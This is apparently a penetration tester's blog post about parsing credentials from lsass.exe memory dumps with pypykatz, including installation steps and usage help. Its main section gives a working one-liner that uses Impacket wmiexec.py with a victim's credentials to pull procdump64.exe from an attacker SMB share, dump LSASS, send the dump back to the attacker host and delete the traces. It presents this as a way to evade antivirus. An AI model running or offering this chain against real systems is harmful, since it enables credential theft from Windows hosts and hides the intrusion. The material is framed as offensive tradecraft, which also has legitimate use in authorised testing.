Parsing Creds From Lsass.exe Dumps Using Pypykatz

Update: CrackMapExec now includes the ‘lsassy’ module which automates the following steps. While the article below still works, if you need dump lsass across multiple hosts, I’d use CrackMapExec as the steps below take a lot more time.

I rarely use Mimikatz for more than parsing memory dumps of lsass.exe taken with procdump64.exe. I’m just not going to risk running Mimikatz from CrackMapExec or uploading Mimikatz to the client’s environment when I can bypass antivirus by using wmiexec.py from Impacket to upload procdump64.exe, run the command to make a dump file from lsass.exe, and download it to be processed offline using Mimikatz on a system that I control. If this sounds like a lot of extra steps, it is. This post is about using a Python3 library to save yourself some work when processing those lsass.exe dump file to get credentials.

About pypykatz

Mimikatz implementation in pure Python. -optimized for offline persing, but has options for live credential dumping as well. Runs on all OS’s which support python>=3.6

Installation

Via pip:

pip3 install pypykatz

Via Github:

pip3 install minidump minikerberos asn1crypto
git clone https://github.com/skelsec/pypykatz.git
cd pypykatz
python3 setup.py install

Usage:

usage: pypykatz [-h] [-v] [--json] [-e] [-o OUTFILE] [-k KERBEROS_DIR]
                {minidump,live,rekall} ...

Pure Python implementation of Mimikatz --or at least some parts of it--

positional arguments:
  {minidump,live,rekall}
                        commands
    minidump            Get secrets from LSASS minidump file
    live                Get secrets from live machine
    rekall              Get secrets from memory dump

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose
  --json                Print credentials in JSON format
  -e, --halt-on-error   Stops parsing when a file cannot be parsed
  -o OUTFILE, --outfile OUTFILE
                        Save results to file (you can specify --json for json
                        file, or text format will be written)
  -k KERBEROS_DIR, --kerberos-dir KERBEROS_DIR
                        Save kerberos tickets to a directory.

Examples:

Parsing minidump file of the LSASS process:

pypykatz minidump <minidump file>

Dumping LIVE system LSA secrets:

pypykatz live lsa

Thoughts on using pypykatz vs. Mimikatz for parsing creds from lsass.exe memory dumps

Instead of running wmiexec with multiple commands to upload procdump, dump lsass.exe, download the dump file, and copy that over to a Windows host to use Mimikatz:

Install pypykatz:

pip3 install pypykatz

Run Impacket smbserver.py:

./smbserver.py -smb2support <share name> <path to dir where you have procdump64.exe>

Run Impacket wmiexec.py:

./wmiexec.py <domain>/<username>:<password>@<Victim IP> 'copy \\<Attacker IP>\<share>\procdump64.exe . & procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp & copy lsass.dmp \\<Attacker IP>\<share>\ & del lsass.dmp & del procdump64.exe'

Dump creds from lsass.dmp:

pypykatz minidump lsass.dmp

Note: I’ve seen pypykatz error out on some editions of Windows 10. If this happens, you’ll have to copy that lsass.dmp over to a Windows system under your control and use Mimikatz.